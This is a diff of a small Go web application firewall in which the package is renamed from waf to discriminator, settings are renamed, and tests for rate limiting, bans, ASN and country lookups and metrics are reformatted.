// that refused the request. ctx is the request's own context. // that refused the request. ctx is the request's own context.
func (rq *request) runBanningHeuristics( func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
ctx context.Context,
list []heuristic,
) {
name, v := rq.firstVerdict(ctx, list, rq.h.now()) name, v := rq.firstVerdict(ctx, list, rq.h.now())
if v != nil { if v != nil {
rq.line.AfterAnswerHeuristic = name rq.line.AfterAnswerHeuristic = name
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"io" "io"
@@ -8,9 +8,9 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
@@ -18,9 +18,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
tagDeny: denyKP, tagDeny: denyKP,
}) })
start := clk.Now() start := clk.Now()
@@ -60,11 +60,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) { func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
t,
"",
map[string]string{maxTrackedClients: "2"},
)
// The third client drops the least recently seen, the first, with its // The third client drops the least recently seen, the first, with its
// history. // history.
@@ -74,12 +70,8 @@ func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32")) _, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
if server.Limiter.Len() != 2 || held { if server.Limiter.Len() != 2 || held {
t.Errorf( t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
"the table holds %d clients, the first among them: %t; want 2, "+ "without it", server.Limiter.Len(), held)
"without it",
server.Limiter.Len(),
held,
)
} }
} }
@@ -92,10 +84,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
}) })
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
got := do( got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
t,
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
)
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
out.endedLine(t) out.endedLine(t)
@@ -109,20 +98,10 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) { func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
t,
"",
map[string]string{metricsToken: token},
)
s.ownEndpointRequest( s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
"", s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
http.MethodGet,
waf.HealthPath,
"",
http.StatusOK,
)
s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "",
http.StatusUnauthorized) http.StatusUnauthorized)
s.scrape() s.scrape()
@@ -141,8 +120,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
out.endedLine(t) out.endedLine(t)
history := historyOf(t, server, localhost) history := historyOf(t, server, localhost)
if history.Requests != 1 || history.Forwarded != 0 || if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
history.Refused != 0 {
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+ t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused) "want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
} }
@@ -150,7 +128,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
// historyOf returns the history of the client at addr. // historyOf returns the history of the client at addr.
func historyOf( func historyOf(
t *testing.T, server *waf.Server, addr string, t *testing.T, server *discriminator.Server, addr string,
) ratelimit.History { ) ratelimit.History {
t.Helper() t.Helper()
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"context" "context"
@@ -12,7 +12,7 @@ import (
) )
// The headers in which an answer of allow gives rproxy the client's AS number // The headers in which an answer of allow gives rproxy the client's AS number
// and country, for the app, while SWW_WAF_ADD_LOOKUP_HEADERS is set. Go writes // and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
// every header name in this form, as it sends it and as it receives it, so // every header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive. // X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
const ( const (
@@ -23,7 +23,7 @@ const (
// lookUp looks up the client's AS number and country, in the lookup // lookUp looks up the client's AS number and country, in the lookup
// database or through GeoJS, and notes them for the log line and as the // database or through GeoJS, and notes them for the log line and as the
// request's asn= and country= tags, unless // request's asn= and country= tags, unless
// SWW_WAF_LOOKUP_SOURCE is off or the client is on a private, loopback or // SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
// link-local address, which no lookup can place. The lookup database // link-local address, which no lookup can place. The lookup database
// answers at once. With GeoJS, while a setting needs the answer, such as a // answers at once. With GeoJS, while a setting needs the answer, such as a
// country list or a biased threshold, a new client's request waits for it, // country list or a biased threshold, a new client's request waits for it,
@@ -105,6 +105,5 @@ func setLookupHeaders(header http.Header, asn, country string) {
// canBePlaced reports whether a lookup can place addr: private, loopback // canBePlaced reports whether a lookup can place addr: private, loopback
// and link-local addresses have no AS number or country. // and link-local addresses have no AS number or country.
func canBePlaced(addr netip.Addr) bool { func canBePlaced(addr netip.Addr) bool {
return !addr.IsPrivate() && !addr.IsLoopback() && return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
!addr.IsLinkLocalUnicast()
} }
@@ -1,11 +1,10 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
"net/netip" "net/netip"
"path/filepath" "path/filepath"
"slices" "slices"
"strconv"
"sync" "sync"
"testing" "testing"
"testing/synctest" "testing/synctest"
@@ -21,13 +20,11 @@ import (
// and country. // and country.
type asnAndCountry struct{ asn, asName, country string } type asnAndCountry struct{ asn, asName, country string }
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the // fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
// lookup database. // lookup database.
const fileSource = "file" const fileSource = "file"
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt( func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// The stand-in for GeoJS answers only once released. A request that // The stand-in for GeoJS answers only once released. A request that
@@ -35,8 +32,8 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// waitLimit. // waitLimit.
geojsURL, asked, release := startHeldGeoJS(t) geojsURL, asked, release := startHeldGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{ s, _, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
// fromDE's second request breaks the limit and bans it, and fromKP // fromDE's second request breaks the limit and bans it, and fromKP
@@ -48,10 +45,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
} { } {
got := asnAndCountry{line.ASN, line.ASName, line.Country} got := asnAndCountry{line.ASN, line.ASName, line.Country}
if got != (asnAndCountry{}) { if got != (asnAndCountry{}) {
t.Errorf( t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
"log line has %+v before GeoJS answered, want nothing",
got,
)
} }
} }
@@ -86,12 +80,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// GeoJS was asked about each client once, fromKP after fromDE, whose // GeoJS was asked about each client once, fromKP after fromDE, whose
// request was under way when fromKP came. // request was under way when fromKP came.
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) { if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
t.Errorf( t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
"GeoJS was asked about %v, want %s and %s",
got,
fromDE,
fromKP,
)
} }
} }
@@ -105,9 +94,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)} clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
tagDeny: denyKP, tagDeny: denyKP,
}) })
requestFromDE := func() *http.Request { requestFromDE := func() *http.Request {
@@ -138,9 +127,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
// for GeoJS. The second request goes on at once, and is counted. // for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond) clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{ server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix( Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
fromDE + "/32",
), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(), Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}}) }})
wantStatus(t, do(t, requestFromDE()), http.StatusOK) wantStatus(t, do(t, requestFromDE()), http.StatusOK)
@@ -153,12 +140,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Fatalf("first request: %v", err) t.Fatalf("first request: %v", err)
} }
wantLine( wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
t,
out.endedLines(t, 2)[1],
http.StatusOK,
requestlog.ActionForward,
)
// The third request's count holds all three: the first was counted // The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count // when it went on, in the minute under way, and the second's count
@@ -167,32 +149,22 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
wantStatus(t, do(t, requestFromDE()), http.StatusOK) wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 { if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf( t.Errorf("the third request's count in the minute is %v, want 3", got)
"the third request's count in the minute is %v, want 3",
got,
)
} }
} }
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert( func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
t,
app.URL,
geojsURL,
clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/sww", alertWebhookURL: "https://alerts.example/sww",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}, })
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
// The answer is kept before the requests, so GeoJS is not asked, and // The answer is kept before the requests, so GeoJS is not asked, and
@@ -241,17 +213,11 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, clk, server := startWithClock( s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
t,
geojsURL,
map[string]string{lookupSource: "off"},
)
// Even an answer kept from before is not used. // Even an answer kept from before is not used.
server.GeoJS.Load([]lookup.Answer{{ server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix( Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
fromDE + "/32",
), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(), Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}}) }})
@@ -264,13 +230,8 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
} }
} }
if h := historyOf(t, server, fromDE); h.ASN != "" || if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
!h.LookedUp.IsZero() { t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
t.Errorf(
"history has %q, looked up at %s, want no lookup",
h.ASN,
h.LookedUp,
)
} }
if len(asked()) != 0 { if len(asked()) != 0 {
@@ -278,9 +239,7 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
} }
} }
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked( func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
@@ -338,9 +297,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
} }
} }
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved( func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
var ( var (
@@ -353,23 +310,15 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
defer mu.Unlock() defer mu.Unlock()
got = append(got, [2][]string{ got = append(got, [2][]string{
r.Header.Values( r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
"X-Client-Asn",
), r.Header.Values("X-Client-Country"),
}) })
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock( addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, lookupTimeout: "1h",
geojsURL, addLookupHeaders: on,
time.Now, })
map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
addLookupHeaders: on,
},
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
// Each client sends headers of its own. fromDE's first request waits // Each client sends headers of its own. fromDE's first request waits
@@ -391,9 +340,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
} }
} }
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff( func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
var ( var (
@@ -405,22 +352,12 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
mu.Lock() mu.Lock()
defer mu.Unlock() defer mu.Unlock()
asn, country = r.Header.Values( asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
"X-Client-Asn",
), r.Header.Values(
"X-Client-Country",
)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock( addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, })
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost,
},
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders, s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
@@ -430,11 +367,8 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
defer mu.Unlock() defer mu.Unlock()
if asn != nil || country != nil { if asn != nil || country != nil {
t.Errorf( t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
"the app was passed X-Client-ASN %v and X-Client-Country %v, want neither", asn, country)
asn,
country,
)
} }
} }
@@ -445,16 +379,15 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
// clock of the test's own: the wait lasts exactly as long as it should, // clock of the test's own: the wait lasts exactly as long as it should,
// however slowly the test process runs. Nothing in it may wait on the // however slowly the test process runs. Nothing in it may wait on the
// network, which would keep that clock from moving on: the request is // network, which would keep that clock from moving on: the request is
// handed to waf's handler, and GeoJS is one that never answers. // handed to discriminator's handler, and GeoJS is one that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// Not the default. The exclusive list needs the answer, and the app // Not the default. The exclusive list needs the answer, and the app
// is never reached. // is never reached.
const timeout = 3 * time.Second const timeout = 3 * time.Second
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
asnAndCountryLookupTimeout: strconv.FormatInt( lookupTimeout: timeout.String(),
timeout.Milliseconds(), 10),
allowedCountries: "DE", allowedCountries: "DE",
}) })
@@ -463,11 +396,7 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
if waited := time.Since(began); waited != timeout { if waited := time.Since(began); waited != timeout {
t.Errorf( t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
"the request waited %s for its answer, want %s",
waited,
timeout,
)
} }
// Without an answer, the client is in no country the list allows. // Without an answer, the client is in no country the list allows.
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"io" "io"
@@ -11,16 +11,15 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_METRICS_TOP_N"
metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS" // token is the SWW_METRICS_TOKEN the tests set, and bearer how a
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
// request carries it. // request carries it.
token = "0123456789abcdef0123456789abcdef" token = "0123456789abcdef0123456789abcdef"
bearer = "Bearer " + token bearer = "Bearer " + token
@@ -33,13 +32,8 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{bearer, "Bearer ", ""} { for _, authorization := range []string{bearer, "Bearer ", ""} {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
authorization, http.StatusNotFound)
http.MethodGet,
waf.MetricsPath,
"",
http.StatusNotFound,
)
} }
} }
@@ -52,27 +46,21 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
method, path, authorization string method, path, authorization string
status int status int
}{ }{
{http.MethodGet, waf.MetricsPath, "", http.StatusUnauthorized}, {http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
{ {
http.MethodGet, waf.MetricsPath, "Bearer " + strings.ToUpper(token), http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
http.StatusUnauthorized, http.StatusUnauthorized,
}, },
{http.MethodGet, waf.MetricsPath, "Basic " + token, {http.MethodGet, discriminator.MetricsPath, "Basic " + token,
http.StatusUnauthorized}, http.StatusUnauthorized},
{http.MethodGet, waf.MetricsPath, bearer, http.StatusOK}, {http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
{http.MethodGet, waf.MetricsPath, "bearer " + token, http.StatusOK}, {http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
{http.MethodPost, waf.MetricsPath, bearer, http.StatusNotFound}, {http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
{http.MethodGet, waf.MetricsPath + "/", bearer, http.StatusNotFound}, {http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound}, {http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
{http.MethodPost, waf.HealthPath, "", http.StatusNotFound}, {http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
tc.authorization,
tc.method,
tc.path,
"",
tc.status,
)
if tc.status == http.StatusUnauthorized && if tc.status == http.StatusUnauthorized &&
got.header.Get("WWW-Authenticate") != "Bearer" { got.header.Get("WWW-Authenticate") != "Bearer" {
@@ -81,10 +69,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
} }
if tc.status == http.StatusOK && if tc.status == http.StatusOK &&
!strings.Contains( !strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
string(got.body),
"# TYPE sww_requests_total counter",
) {
t.Errorf("the metrics are\n%s", got.body) t.Errorf("the metrics are\n%s", got.body)
} }
} }
@@ -100,10 +85,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
map[string]string{metricsToken: token}) map[string]string{metricsToken: token})
got := do( got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
t,
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
)
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound) wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLines(t, 2) out.endedLines(t, 2)
@@ -131,18 +113,18 @@ func TestMetricsCountTheTraffic(t *testing.T) {
func TestMetricsCountLimitsAndBans(t *testing.T) { func TestMetricsCountLimitsAndBans(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
s, clk, _ := startWithClock(t, "", map[string]string{ s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token, metricsToken: token,
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
banResponse: banResponseClose, banResponse: banResponseClose,
limitBanDuration: "1h", limitBanDuration: "1h",
limitBanPermanentAbove: "2h", maxBanDuration: "2h",
}) })
// SWW_WAF_BAN_RESPONSE=close sends no status at all. // SWW_BAN_RESPONSE=close sends no status at all.
s.get(denied, 0, requestlog.ActionClientDenied) s.get(denied, 0, requestlog.ActionClientDenied)
// A first broken limit bans for an hour. // A first broken limit bans for an hour.
@@ -150,26 +132,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
s.get(client, 0, requestlog.ActionClientIsRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
metrics,
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`,
1,
)
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 1) `kind="requests",window="minute"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
1,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
1,
)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
@@ -177,25 +145,15 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0) wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer // A limit broken again right after would ban for three hours, longer
// than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent. // than SWW_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics = s.scrape() metrics = s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 2) `kind="requests",window="minute"}`, 2)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
2,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
2,
)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
// denied and client. // denied and client.
@@ -223,7 +181,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
wantMetric(t, s.scrape(), admins, 1) wantMetric(t, s.scrape(), admins, 1)
// And a ban made through the endpoint. // And a ban made through the endpoint.
s.admin(http.MethodPost, waf.BansPath, banOtherClient, http.StatusOK) s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
wantMetric(t, s.scrape(), admins, 2) wantMetric(t, s.scrape(), admins, 2)
} }
@@ -237,20 +195,18 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
_, _ = io.WriteString(w, "hello") _, _ = io.WriteString(w, "hello")
}) })
env := map[string]string{ env := map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
metricsToken: token, metricsToken: token,
metricsBusiestCountriesAndASNs: "2", metricsTopN: "2",
allowedCountries: "de,fr", allowedCountries: "de,fr",
} }
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
time.Now, env)
// The answers are kept before the requests, so that none waits for // The answers are kept before the requests, so that none waits for
// GeoJS. // GeoJS.
server.GeoJS.Load([]lookup.Answer{ server.GeoJS.Load([]lookup.Answer{
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
keptAnswer(fromFR, "FR"),
}) })
lines := 0 lines := 0
@@ -258,8 +214,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t.Helper() t.Helper()
for range times { for range times {
body := strings.NewReader("abc") req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set(forwardedFor, from) req.Header.Set(forwardedFor, from)
wantStatus(t, do(t, req), status) wantStatus(t, do(t, req), status)
@@ -316,15 +271,13 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
`sww_country_request_bytes_total{country="DE",instance="app"}`) `sww_country_request_bytes_total{country="DE",instance="app"}`)
} }
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther( func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
